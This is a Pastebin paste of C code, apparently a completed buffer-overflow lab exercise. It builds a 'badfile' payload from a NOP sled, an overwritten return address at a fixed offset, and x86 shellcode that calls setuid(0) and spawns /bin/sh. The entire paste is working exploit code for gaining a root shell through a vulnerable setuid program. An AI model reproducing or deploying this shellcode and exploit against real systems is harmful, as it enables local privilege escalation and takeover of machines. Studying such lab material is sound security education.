Advertisement
Guest User

Untitled

a guest
Jun 24th, 2019
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.42 KB | None | 0 0
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4.  
  5. const char shellcode[] =
  6. "\x31\xc0" /* Line 1: xorl %eax,%eax */
  7. "\x31\xdb" /* Line 2: xorl %ebx,%ebx */
  8. "\xb0\xd5" /* Line 3: movb $0xd5,%al */
  9. "\xcd\x80" /* Line 4: int $0x80 */
  10. "\x31\xc0" /* xorl %eax,%eax */
  11. "\x50" /* pushl %eax */
  12. "\x68""//sh" /* pushl $0x68732f2f */
  13. "\x68""/bin" /* pushl $0x6e69622f */
  14. "\x89\xe3" /* movl %esp,%ebx */
  15. "\x50" /* pushl %eax */
  16. "\x53" /* pushl %ebx */
  17. "\x89\xe1" /* movl %esp,%ecx */
  18. "\x99" /* cdq */
  19. "\xb0\x0b" /* movb $0x0b,%al */
  20. "\xcd\x80" /* int $0x80 */
  21. ;
  22.  
  23. int main(int argc, char **argv)
  24. {
  25. char buffer[517];
  26. FILE *badfile;
  27.  
  28. /* Initialize buffer with 0x90 (NOP instruction) */
  29. memset(&buffer, 0x90, 517);
  30.  
  31. /* You need to fill the buffer with appropriate contents here */
  32. *((long *) (buffer + 0x112)) = 0xbfffffff;
  33. memcpy( buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));
  34.  
  35. /* Save the contents to the file "badfile" */
  36. badfile = fopen("./badfile","w");
  37. fwrite(buffer, 517, 1, badfile);
  38. fclose(badfile);
  39.  
  40. return 0;
  41. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement